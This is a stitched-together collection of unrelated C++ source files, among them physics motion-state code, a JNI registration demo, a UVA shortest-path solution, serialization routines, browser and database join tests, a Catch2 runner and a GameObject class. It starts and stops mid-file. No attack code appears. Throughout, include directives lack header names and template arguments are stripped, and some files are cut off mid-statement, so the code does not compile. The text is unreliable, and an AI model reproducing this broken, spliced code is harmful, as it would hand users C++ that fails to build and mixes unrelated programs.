significant. // NOTE: math in done the simulation-frame, which is NOT necessarily the same as the world-frame // due to _worldOffset. // compute position error if (glm::length2(_sentVelocity) > 0.0f) { _sentVelocity += _sentAcceleration * dt; _sentVelocity *= powf(1.0f - _linearDamping, dt); _sentPosition += dt * _sentVelocity; } btTransform worldTrans = _body->getWorldTransform(); glm::vec3 position = bulletToGLM(worldTrans.getOrigin()); float dx2 = glm::distance2(position, _sentPosition); const float MAX_POSITION_ERROR_SQUARED = 0.001f; // 0.001 m^2 ~~> 0.03 m if (dx2 > MAX_POSITION_ERROR_SQUARED) { return true; } if (glm::length2(_sentAngularVelocity) > 0.0f) { // compute rotation error _sentAngularVelocity *= powf(1.0f - _angularDamping, dt); float spin = glm::length(_sentAngularVelocity); const float MIN_SPIN = 1.0e-4f; if (spin > MIN_SPIN) { glm::vec3 axis = _sentAngularVelocity / spin; _sentRotation = glm::normalize(glm::angleAxis(dt * spin, axis) * _sentRotation); } } const float MIN_ROTATION_DOT = 0.98f; glm::quat actualRotation = bulletToGLM(worldTrans.getRotation()); return (fabsf(glm::dot(actualRotation, _sentRotation)) < MIN_ROTATION_DOT); } void ObjectMotionState::setRigidBody(btRigidBody* body) { // give the body a (void*) back-pointer to this ObjectMotionState if (_body != body) { if (_body) { _body->setUserPointer(NULL); } _body = body; if (_body) { _body->setUserPointer(this); } } } void ObjectMotionState::setKinematic(bool kinematic, uint32_t substep) { _isKinematic = kinematic; _lastKinematicSubstep = substep; } xiaoxiaoazhang/AndroidLearn // // Created by zhenduowang on 2018/6/21. // // jni头文件 #include #include #include #include using namespace std; static jclass myClass; static const char* const kClassName = "com/chihun/learn/jnidemo/JniTest"; //native 方法实现 jint get_random_num(){ return rand(); } jstring get_native_string(JNIEnv *env, jclass clz) { return env->NewStringUTF("Hello java, this is C++. ---jni"); } /*需要注册的函数列表,放在JNINativeMethod 类型的数组中, 以后如果需要增加函数,只需在这里添加就行了 参数: 1.java代码中用native关键字声明的函数名字符串 2.签名(传进来参数类型和返回值类型的说明) 3.C/C++中对应函数的函数名(地址) */ static JNINativeMethod getMethods[] = { {"getRandomNum","()I",(void*)get_random_num}, {"getNativeString","()Ljava/lang/String;",(void*)get_native_string} }; //此函数通过调用JNI中 RegisterNatives 方法来注册我们的函数 static int registerNativeMethods(JNIEnv* env, const char* className,JNINativeMethod* getMethods,int methodsNum){ jclass clazz; //找到声明native方法的类 clazz = env->FindClass(className); if(clazz == NULL){ return JNI_FALSE; } //注册函数 参数:java类 所要注册的函数数组 注册函数的个数 if(env->RegisterNatives(clazz,getMethods,methodsNum) < 0){ return JNI_FALSE; } return JNI_TRUE; } static int registerNatives(JNIEnv* env){ //指定类的路径,通过FindClass 方法来找到对应的类 return registerNativeMethods(env, kClassName, getMethods, sizeof(getMethods) / sizeof(getMethods[0])); } //回调函数 在这里面注册函数 JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved){ JNIEnv* env = NULL; //判断虚拟机状态是否有问题 if(vm->GetEnv((void**)&env,JNI_VERSION_1_6)!= JNI_OK){ return -1; } assert(env != NULL); // myClass = (*env)->FindClass(env, kClassName); // if(myClass == NULL) // { // printf("cannot get class:%s\n", kClassName); // return -1; // } // // //开始注册函数 registerNatives -》registerNativeMethods -》env->RegisterNatives // if((*env)->RegisterNatives(env,myClass,gMethods,sizeof(gMethods)/sizeof(gMethods[0]))<0) // { // printf("register native method failed!\n"); // return -1; // } if(!registerNatives(env)){ return -1; } //返回jni 的版本 return JNI_VERSION_1_6; }UVA/vol-001/186.cpp1-10 #include #define INF 67108864 using namespace std; int n, D[143][143], P[143][143]; string names[143], rid[143][143]; unordered_map ids; int readId(char delim=',') { if (getline(cin, names[n], delim)) { auto r = ids.emplace(names[n], n); if (r.second) ++n; return r.first->second; } return -1; } void printFlight(int i, int j) { cout << setw(20) << left << names[i] << ' ' << setw(20) << left << names[j] << ' ' << setw(10) << left << rid[i][j]<< ' ' << setw( 5) << right<< D[i][j] << endl; } void printPath(int u, int v) { if (P[u][v] == u) { printFlight(u, v); return; } printPath(u, P[u][v]); printPath(P[u][v], v); } int main() { ios_base::sync_with_stdio(0);cin.tie(0); for (int i=0; i<143; ++i) { for (int j=0; j<143; ++j) { D[i][j] = INF; P[i][j] = i; } D[i][i] = 0; } while (cin.peek()!='\n') { int u = readId(), v = readId(), d; string sid; getline(cin, sid, ','); cin >> d; if (d < D[u][v]) { rid[u][v] = rid[v][u] = sid; D[u][v] = D[v][u] = d; } cin.ignore(100, '\n'); } cin.ignore(100, '\n'); for (int k=0; k () /// @date 2017-08-11 /// @brief #include "problem.hpp" //---------------------------------------------------------------------- void Refresh::add_field(std::string field_name) { const int id_field = cello::field_descr()->field_id(field_name); add_field(id_field); } //---------------------------------------------------------------------- int Refresh::data_size () const { int count = 0; // WARNING: Skipping many fields since data methods are only called // when the Refresh object is a member of FieldFace, which in turn // only accesses field and particle lists and accumulate_ SIZE_ARRAY(&count,field_list_src_); SIZE_ARRAY(&count,field_list_dst_); SIZE_ARRAY(&count,particle_list_); SIZE_VALUE(&count,all_fields_); SIZE_VALUE(&count,all_particles_); SIZE_VALUE(&count,accumulate_); return count; } //---------------------------------------------------------------------- char * Refresh::save_data (char * buffer) const { char * p = buffer; SAVE_ARRAY(&p,field_list_src_); SAVE_ARRAY(&p,field_list_dst_); SAVE_ARRAY(&p,particle_list_); SAVE_VALUE(&p,all_fields_); SAVE_VALUE(&p,all_particles_); SAVE_VALUE(&p,accumulate_); ASSERT2 ("Refresh::save_data\n", "Actual size %d does not equal computed size %d", p-buffer,data_size(), ((p-buffer)==data_size())); return p; } //---------------------------------------------------------------------- char * Refresh::load_data (char * buffer) { char * p = buffer; LOAD_ARRAY(&p,field_list_src_); LOAD_ARRAY(&p,field_list_dst_); LOAD_ARRAY(&p,particle_list_); LOAD_VALUE(&p,all_fields_); LOAD_VALUE(&p,all_particles_); LOAD_VALUE(&p,accumulate_); ASSERT2 ("Refresh::load_data\n", "Actual size %d does not equal computed size %d", p-buffer,data_size(), ((p-buffer)==data_size())); return p; } Jabawack/chromium-efl // Copyright 2014 Samsung Electronics. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. /* Define those macros _before_ you include the utc_blink_ewk.h header file. */ #include "utc_blink_ewk_base.h" class utc_blink_ewk_view_custom_header_remove : public utc_blink_ewk_base { protected: static const char* test_name; static const char* test_value; static const char* testnull_name; static const char* testnull_value; static const char* testnotexisting_name; }; const char* utc_blink_ewk_view_custom_header_remove::test_name = "TestRemove-Name"; const char* utc_blink_ewk_view_custom_header_remove::test_value = "TestRemove-Value"; const char* utc_blink_ewk_view_custom_header_remove::testnull_name = "TestRemoveNull-Name"; const char* utc_blink_ewk_view_custom_header_remove::testnull_value = "TestRemoveNull-Value"; const char* utc_blink_ewk_view_custom_header_remove::testnotexisting_name = "TestRemoveNotExisting-Name"; /** * @brief Checking whether the custom header is removed properly. */ TEST_F(utc_blink_ewk_view_custom_header_remove, POS_TEST) { ewk_view_custom_header_add(GetEwkWebView(), test_name, test_value); Eina_Bool result = ewk_view_custom_header_remove(GetEwkWebView(), test_name); EXPECT_EQ(result, EINA_TRUE); } /** * @brief Checking whether function works properly in case of NULL of a webview. */ TEST_F(utc_blink_ewk_view_custom_header_remove, NEG_TEST1) { ewk_view_custom_header_add(GetEwkWebView(), testnull_name, testnull_value); Eina_Bool result = ewk_view_custom_header_remove(NULL, testnull_name); EXPECT_NE(result, EINA_TRUE); } TEST_F(utc_blink_ewk_view_custom_header_remove, NEG_TEST2) { Eina_Bool result = ewk_view_custom_header_remove(GetEwkWebView(), testnotexisting_name); EXPECT_NE(result, EINA_TRUE); } /** Copyright (c) 2015-present, Facebook, Inc. All rights reserved. This source code is licensed under the BSD-style license found in the LICENSE file in the root directory of this source tree. */ #include #include #include #include #include #include #include using acdriver::Result; using acdriver::Output; Result:: Result() { } Result:: ~Result() { } static std::string DocumentSeverityKey(Result::Severity severity) { switch (severity) { case Result::Severity::Error: return "com.apple.actool.document.errors"; case Result::Severity::Warning: return "com.apple.actool.document.warnings"; case Result::Severity::Notice: return "com.apple.actool.document.notices"; } abort(); } static std::string NormalSeverityKey(Result::Severity severity) { switch (severity) { case Result::Severity::Error: return "com.apple.actool.errors"; case Result::Severity::Warning: return "com.apple.actool.warnings"; case Result::Severity::Notice: return "com.apple.actool.notices"; } abort(); } void Result:: normal( Severity severity, std::string const &message, ext::optional const &reason, ext::optional const &file) { NormalEntry entry; entry.severity = severity; entry.message = message; entry.reason = reason; entry.file = file; _normalEntries[NormalSeverityKey(severity)].push_back(entry); } void Result:: document( Severity severity, std::string const &catalog, std::vector const &items, std::string const &type, std::string const &message) { DocumentEntry entry; entry.severity = severity; entry.catalog = catalog; entry.items = items; entry.type = type; entry.message = message; _documentEntries[DocumentSeverityKey(severity)].push_back(entry); } bool Result:: success() const { auto nit = _normalEntries.find(NormalSeverityKey(Severity::Error)); auto dit = _documentEntries.find(DocumentSeverityKey(Severity::Error)); bool nvalid = (nit != _normalEntries.end()); bool dvalid = (dit != _documentEntries.end()); return (!nvalid || nit->second.empty()) && (!dvalid || dit->second.empty()); } static std::string SeverityText(Result::Severity severity) { switch (severity) { case Result::Severity::Error: return "error"; case Result::Severity::Warning: return "warning"; case Result::Severity::Notice: return "notice"; } abort(); } std::unique_ptr Result:: NormalEntryValue(NormalEntry const &entry) { std::unique_ptr dict = plist::Dictionary::New(); dict->set("description", plist::String::New(entry.message)); if (entry.reason) { dict->set("failure-reason", plist::String::New(*entry.reason)); } return plist::static_unique_pointer_cast(std::move(dict)); } std::string Result:: NormalEntryText(NormalEntry const &entry) { std::string result; if (entry.file) { result += *entry.file; } result += ": "; result += SeverityText(entry.severity); result += ": "; result += entry.message; if (entry.reason) { result += "\n"; result += " "; result += "Failure Reason: "; result += *entry.reason; } return result; } std::unique_ptr Result:: DocumentEntryValue(DocumentEntry const &entry) { std::unique_ptr dict = plist::Dictionary::New(); dict->set("catalog", plist::String::New(entry.catalog)); std::unique_ptr items = plist::Array::New(); for (std::string const &item : entry.items) { items->append(plist::String::New(item)); } dict->set("affected-items", std::move(items)); dict->set("type", plist::String::New(entry.type)); dict->set("message", plist::String::New(entry.message)); return plist::static_unique_pointer_cast(std::move(dict)); } std::string Result:: DocumentEntryText(DocumentEntry const &entry) { std::string result; result += entry.catalog; result += ":"; for (std::string const &item : entry.items) { result += item; result += ":"; } result += " "; result += SeverityText(entry.severity); result += ": "; result += entry.message; return result; } std::unique_ptr Result:: normalArray(Severity severity) const { std::unique_ptr array; auto it = _normalEntries.find(NormalSeverityKey(severity)); if (it != _normalEntries.end()) { for (NormalEntry const &entry : it->second) { if (array == nullptr) { array = plist::Array::New(); } std::unique_ptr value = NormalEntryValue(entry); array->append(std::move(value)); } } return array; } ext::optional Result:: normalText(Severity severity) const { ext::optional text; auto it = _normalEntries.find(NormalSeverityKey(severity)); if (it != _normalEntries.end()) { for (NormalEntry const &entry : it->second) { if (!text) { text = std::string(); } *text += NormalEntryText(entry); *text += "\n"; } } return text; } std::unique_ptr Result:: documentArray(Severity severity) const { std::unique_ptr array; auto it = _documentEntries.find(DocumentSeverityKey(severity)); if (it != _documentEntries.end()) { for (DocumentEntry const &entry : it->second) { if (array == nullptr) { array = plist::Array::New(); } std::unique_ptr value = DocumentEntryValue(entry); array->append(std::move(value)); } } return array; } ext::optional Result:: documentText(Severity severity) const { ext::optional text; auto it = _documentEntries.find(DocumentSeverityKey(severity)); if (it != _documentEntries.end()) { for (DocumentEntry const &entry : it->second) { if (!text) { text = std::string(); } *text += DocumentEntryText(entry); *text += "\n"; } } return text; } void Result:: write(Output *output) const { Severity severities[] = { Severity::Error, Severity::Warning, Severity::Notice, }; /* * Add normal entries/. */ for (Severity severity : severities) { std::unique_ptr array = normalArray(severity); ext::optional text = normalText(severity); if (array != nullptr && text) { output->add(NormalSeverityKey(severity), std::move(array), *text); } } /* * Add document entries. */ for (Severity severity : severities) { std::unique_ptr array = documentArray(severity); ext::optional text = documentText(severity); if (array != nullptr && text) { output->add(DocumentSeverityKey(severity), std::move(array), *text); } } } // Catch2 Documentation: https://github.com/catchorg/Catch2/tree/master/docs #define CATCH_CONFIG_RUNNER #include #include #include #include #include #ifdef IPC_TOOLKIT_WITH_LOGGER Catch::clara::ParserResult parse_log_level(int const d, int& log_level) { if (d < 0 || d > spdlog::level::off) { return Catch::clara::ParserResult::runtimeError( "Log level must be between 0 and 6"); } else { log_level = d; return Catch::clara::ParserResult::ok( Catch::clara::ParseResultType::Matched); } } #endif Catch::clara::ParserResult parse_num_threads(int const d, int& num_threads) { if (num_threads <= 0) { num_threads = tbb::task_scheduler_init::default_num_threads(); } else if (num_threads > tbb::task_scheduler_init::default_num_threads()) { IPC_LOG(warn( "Attempting to use more threads than available ({:d} > {:d})!", num_threads, tbb::task_scheduler_init::default_num_threads())); } return Catch::clara::ParserResult::ok( Catch::clara::ParseResultType::Matched); } int main(int argc, char* argv[]) { Catch::Session session; // There must be exactly one instance // Build a new parser on top of Catch's using namespace Catch::clara; auto cli = session.cli(); #ifdef IPC_TOOLKIT_WITH_LOGGER int log_level = spdlog::level::warn; cli |= Opt([&log_level](int const d) { return parse_log_level(d, log_level); }, "log_level")["--log"]["--logger-level"]( "logger verbosity level int (0-6)"); #endif int num_threads = tbb::task_scheduler_init::default_num_threads(); cli |= Opt([&num_threads]( int const d) { return parse_num_threads(d, num_threads); }, "num_threads")["--nthreads"]["--num-threads"]( "maximum number of threads to use"); session.cli(cli); int returnCode = session.applyCommandLine(argc, argv); if (returnCode != 0) // Indicates a command line error return returnCode; IPC_LOG(set_level(static_cast(log_level))); tbb::global_control thread_limiter( tbb::global_control::max_allowed_parallelism, num_threads); return session.run(); } #include "GameObject.h" GameObject::GameObject(void) { position.x = 0.0f; position.y = 0.0f; position.z = 0.0f; origin.x = 0.0f; origin.y = 0.0f; origin.z = 0.0f; angleOrigin.x = 0.0f; angleOrigin.y = 0.0f; angleOrigin.z = 0.0f; scale = 1.0f; rotationAngle.x = 0.0f; rotationAngle.y = 0.0f; rotationAngle.z = 0.0f; rotation.x = 0.0f; rotation.y = 0.0f; rotation.z = 0.0f; } GameObject::~GameObject(void) { position.x = 0.0f; position.y = 0.0f; position.z = 0.0f; origin.x = 0.0f; origin.y = 0.0f; origin.z = 0.0f; angleOrigin.x = 0.0f; angleOrigin.y = 0.0f; angleOrigin.z = 0.0f; scale = 1.0f; rotationAngle.x = 0.0f; rotationAngle.y = 0.0f; rotationAngle.z = 0.0f; rotation.x = 0.0f; rotation.y = 0.0f; rotation.z = 0.0f; } float GameObject::getX() { return position.x; } float GameObject::getY() { return position.y; } float GameObject::getZ() { return position.z; } float GameObject::getOriginX() { return origin.x; } float GameObject::getOriginY() { return origin.y; } float GameObject::getOriginZ() { return origin.z; } float GameObject::getRotationAngleX() { return rotationAngle.x; } float GameObject::getRotationAngleY() { return rotationAngle.y; } float GameObject::getRotationAngleZ() { return rotationAngle.z; } float GameObject::getRotationOriginX() { return angleOrigin.x; } float GameObject::getRotationOriginY() { return angleOrigin.y; } float GameObject::getRotationOriginZ() { return angleOrigin.z; } float GameObject::getRotationX() { return rotation.x; } float GameObject::getRotationY() { return rotation.y; } float GameObject::getRotationZ() { return rotation.z; } float GameObject::getScale() { return scale; } void GameObject::setScale(float value) { scale = value; } void GameObject::setRotationOrigin(float angleX, float angleY, float angleZ) { angleOrigin.x = angleX; angleOrigin.y = angleY; angleOrigin.z = angleZ; } void GameObject::setOrigin_X(float x) { origin.x = x; } void GameObject::setOrigin_Y(float y) { origin.y = y; } void GameObject::setOrigin_Z(float z) { origin.z = z; } void GameObject::setOrigin_XY(float x, float y) { origin.x = x; origin.y = y; } void GameObject::setOrigin_XZ(float x, float z) { origin.x = x; origin.z = z; } void GameObject::setOrigin_YZ(float y, float z) { origin.y = y; origin.z = z; } void GameObject::setOrigin(float x, float y, float z) { origin.x = x; origin.y = y; origin.z = z; } void GameObject::setPosition_X(float x) { position.x = x; } void GameObject::setPosition_Y(float y) { position.y = y; } void GameObject::setPosition_Z(float z) { position.z = z; } void GameObject::setPosition_XY(float x, float y) { position.x = x; position.y = y; } void GameObject::setPosition_XZ(float x, float z) { position.x = x; position.z = z; } void GameObject::setPosition_YZ(float y, float z) { position.y = y; position.z = z; } void GameObject::setPosition(float x, float y, float z) { position.x = x; position.y = y; position.z = z; } void GameObject::incrementRotAngleX(float inc) { if(rotationAngle.x >= 360) rotationAngle.x = 0.0f; if(rotationAngle.x <= -360) rotationAngle.x = 0.0f; rotationAngle.x += inc; } void GameObject::incrementRotAngleY(float inc) { if(rotationAngle.y >= 360) rotationAngle.y = 0.0f; if(rotationAngle.y <= -360) rotationAngle.y = 0.0f; rotationAngle.y += inc; } void GameObject::incrementRotAngleZ(float inc) { if(rotationAngle.z >= 360) rotationAngle.z = 0.0f; if(rotationAngle.z <= -360) rotationAngle.z = 0.0f; rotationAngle.z += inc; } void GameObject::increment_X(float value) { position.x += value; } void GameObject::increment_Y(float value) { position.y += value; } void GameObject::increment_Z(float value) { position.z += value; } void GameObject::rotateX(float inc, float amount) { incrementRotAngleX(inc); rotation.x = amount; } void GameObject::rotateY(float inc, float amount) { incrementRotAngleY(inc); rotation.y = amount; } void GameObject::rotateZ(float inc, float amount) { incrementRotAngleZ(inc); rotation.z = amount; } #include using namespace std; int search(int arr[], int target, int s, int e) { if (s > e) { return -1; } int m = s + (e - s) / 2; if (arr[m] == target) { return m; } if (target < arr[m]) { return search(arr, target, s, m - 1); } return search(arr, target, m + 1, e); } int main() { int arr[7] = {1, 2, 3, 4, 55, 66, 78}; int target = 78; int n = sizeof(arr) / sizeof(arr[0]); cout << search(arr, target, 0, n - 1) << endl; } lijiansong/deep-learning #include "conditional.h" #include "is_same.h" #include #include int main() { using Type1 = foo::conditional::type; using Type2 = foo::conditional::type; using Type3 = foo::conditional= sizeof(double), int, double>::type; std::cout << foo::utils::is_same::value << '\n'; // false std::cout << foo::utils::is_same::value << '\n'; // true std::cout << foo::utils::is_same::value << '\n'; // true std::cout << foo::utils::is_same::value << '\n'; // false std::cout << foo::utils::is_same::value << '\n'; // true std::cout << foo::utils::is_same::value << '\n'; // true return 0; } #pragma once #include "m4c0/parser/string_view.hpp" #include namespace m4c0::parser { using input_t = string_view; template class success { ResTp m_value; public: constexpr explicit success(ResTp v) noexcept : m_value(v) {}; [[nodiscard]] constexpr bool operator==(const success & o) const noexcept { return m_value == o.m_value; } [[nodiscard]] constexpr auto operator*() const noexcept { return m_value; } template [[nodiscard]] constexpr auto map(Fn && fn) const noexcept { using res_t = std::invoke_result_t; if constexpr (std::is_member_function_pointer_v>) { return success { (m_value.*fn)() }; } else { return success { fn(m_value) }; } } }; template class failure { // TODO: find a constexpr way of storing dynamic strings input_t m_message; template friend class failure; public: template constexpr explicit failure(failure f) noexcept : m_message(f.m_message) {}; constexpr explicit failure(input_t msg) noexcept : m_message(msg) {}; [[nodiscard]] constexpr bool operator==([[maybe_unused]] const failure & o) const noexcept { return m_message == o.m_message; } [[nodiscard]] constexpr auto operator*() const noexcept { return m_message; } }; template class result { union value { success s; failure f; }; value m_value; bool m_success; input_t m_remainder; [[nodiscard]] constexpr const auto & get_failure() const noexcept { return m_value.f; } [[nodiscard]] constexpr const auto & get_success() const noexcept { return m_value.s; } public: using type = ResTp; constexpr result(success t, input_t r) noexcept : m_value { t }, m_success { true }, m_remainder { r } { } template constexpr result(failure t, input_t r) noexcept : m_value { .f = failure(t) } , m_success { false } , m_remainder { r } { } [[nodiscard]] constexpr bool operator==(const ResTp & o) const noexcept { if (!m_success) return false; return *get_success() == o; } [[nodiscard]] constexpr bool operator==(const result & o) const noexcept { if (m_success != o.m_success) return false; if (m_remainder != o.m_remainder) return false; if (m_success) { return get_success() == o.get_success(); } return get_failure() == o.get_failure(); } [[nodiscard]] constexpr const result & operator|(const result & o) const noexcept { return *this ? *this : o; } [[nodiscard]] constexpr const result & operator&(const result & o) const noexcept { return !*this ? *this : o; } [[nodiscard]] constexpr result operator|(success o) const noexcept { return *this ? *this : result { o, m_remainder }; } [[nodiscard]] constexpr result operator&(success o) const noexcept { return !*this ? *this : result { o, m_remainder }; } template [[nodiscard]] constexpr result operator|(failure o) const noexcept { return *this ? *this : result { o, m_remainder }; } template [[nodiscard]] constexpr result operator&(failure o) const noexcept { return !*this ? *this : result { o, m_remainder }; } template requires std::is_invocable_v constexpr auto operator&(Fn && fn) const noexcept { using res_t = std::invoke_result_t; return !*this ? res_t { get_failure(), m_remainder } : fn(*get_success(), m_remainder); } template requires std::is_invocable_v constexpr auto operator&(Fn && fn) const noexcept { using res_t = result>; return !*this ? res_t { get_failure(), m_remainder } : res_t { get_success().map(fn), m_remainder }; } template requires std::is_invocable_v && std::is_invocable_v constexpr auto operator%(Fn && fn) const noexcept { if (*this) { return fn(*get_success()); } return fn(*get_failure()); } template requires std::is_invocable_v && std::is_invocable_v constexpr auto operator%(Fn && fn) const noexcept { if (*this) { return fn(*get_success(), m_remainder); } return fn(*get_failure(), m_remainder); } [[nodiscard]] constexpr explicit operator bool() const noexcept { return m_success; } [[nodiscard]] constexpr ResTp operator*() const noexcept { // Deref of a failure is UB. TODO: Migrate usages return m_success ? *get_success() : ResTp {}; } }; template result(success, input_t) -> result; template result(failure, input_t) -> result; } #include #include #include #include #include #include #include #include "../base_test.hpp" #include "gtest/gtest.h" #include "join_test.hpp" #include "operators/get_table.hpp" #include "operators/join_hash.hpp" #include "operators/join_index.hpp" #include "operators/join_mpsm.hpp" #include "operators/join_nested_loop.hpp" #include "operators/join_sort_merge.hpp" #include "operators/table_scan.hpp" #include "operators/union_all.hpp" #include "storage/storage_manager.hpp" #include "storage/table.hpp" #include "types.hpp" namespace opossum { /* This contains the tests for Join implementations that only implement PredicateCondition::Equals. */ template class JoinEquiTest : public JoinTest {}; // here we define all Join types using JoinEquiTypes = ::testing::Types; TYPED_TEST_CASE(JoinEquiTest, JoinEquiTypes); TYPED_TEST(JoinEquiTest, WrongJoinOperator) { if (!IS_DEBUG) return; EXPECT_THROW(std::make_shared(this->_table_wrapper_a, this->_table_wrapper_b, JoinMode::Left, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::GreaterThan), std::logic_error); } TYPED_TEST(JoinEquiTest, LeftJoin) { this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Left, "src/test/tables/joinoperators/int_left_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerJoinIntFloat) { if (std::is_same::value || std::is_same::value) { return; } // int with float this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_o, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_float_inner.tbl", 1); // float with int this->template test_join_output(this->_table_wrapper_o, this->_table_wrapper_a, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/float_int_inner.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerJoinIntFloatRadixBit) { if (std::is_same::value) { // float with int // radix bits = 1 std::shared_ptr
expected_result = load_table("src/test/tables/joinoperators/float_int_inner.tbl", 1); auto join = std::make_shared(this->_table_wrapper_o, this->_table_wrapper_a, JoinMode::Inner, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, 1); join->execute(); EXPECT_TABLE_EQ_UNORDERED(join->get_output(), expected_result); } } TYPED_TEST(JoinEquiTest, InnerJoinIntDouble) { if (std::is_same::value || std::is_same::value) { return; } // int with double this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_p, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_double_inner.tbl", 1); // double with int this->template test_join_output(this->_table_wrapper_p, this->_table_wrapper_a, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/double_int_inner.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerJoinIntString) { if (!std::is_same::value) { return; } this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_q, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_string_inner.tbl", 1); } TYPED_TEST(JoinEquiTest, LeftJoinOnString) { this->template test_join_output(this->_table_wrapper_c, this->_table_wrapper_d, ColumnIDPair(ColumnID{1}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Left, "src/test/tables/joinoperators/string_left_join.tbl", 1); } TYPED_TEST(JoinEquiTest, RightJoin) { this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Right, "src/test/tables/joinoperators/int_right_join.tbl", 1); } TYPED_TEST(JoinEquiTest, OuterJoin) { if (std::is_same::value) { return; } this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Outer, "src/test/tables/joinoperators/int_outer_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerJoin) { this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerJoinOnString) { this->template test_join_output(this->_table_wrapper_c, this->_table_wrapper_d, ColumnIDPair(ColumnID{1}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/string_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerRefJoin) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_a, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_b, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); this->template test_join_output(scan_a, scan_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerValueDictJoin) { this->template test_join_output(this->_table_wrapper_a, this->_table_wrapper_b_dict, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerDictValueJoin) { this->template test_join_output(this->_table_wrapper_a_dict, this->_table_wrapper_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerValueDictRefJoin) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_a, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_b_dict, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); this->template test_join_output(scan_a, scan_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerDictValueRefJoin) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_a_dict, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_b, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); this->template test_join_output(scan_a, scan_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerRefJoinFiltered) { auto scan_a = std::make_shared(this->_table_wrapper_a, ColumnID{0}, PredicateCondition::GreaterThan, 1000); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_b, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); this->template test_join_output(scan_a, scan_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join_filtered.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerDictJoin) { this->template test_join_output(this->_table_wrapper_a_dict, this->_table_wrapper_b_dict, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerRefDictJoin) { // scan that returns all rows auto scan_a = std::make_shared(this->_table_wrapper_a_dict, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_b_dict, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); this->template test_join_output(scan_a, scan_b, ColumnIDPair(ColumnID{0}, ColumnID{0}), PredicateCondition::Equals, JoinMode::Inner, "src/test/tables/joinoperators/int_inner_join.tbl", 1); } TYPED_TEST(JoinEquiTest, InnerRefDictJoinFiltered) { auto scan_a = std::make_shared(this->_table_wrapper_a_dict, ColumnID{0}, PredicateCondition::GreaterThan, 1000); scan_a->execute(); auto scan_b = std::make_shared(this->_table_wrapper_b_dict, ColumnID{0}, PredicateCondition::GreaterThanEquals, 0); scan_b->execute(); this->template test_join_output(scan_a, scan_b, 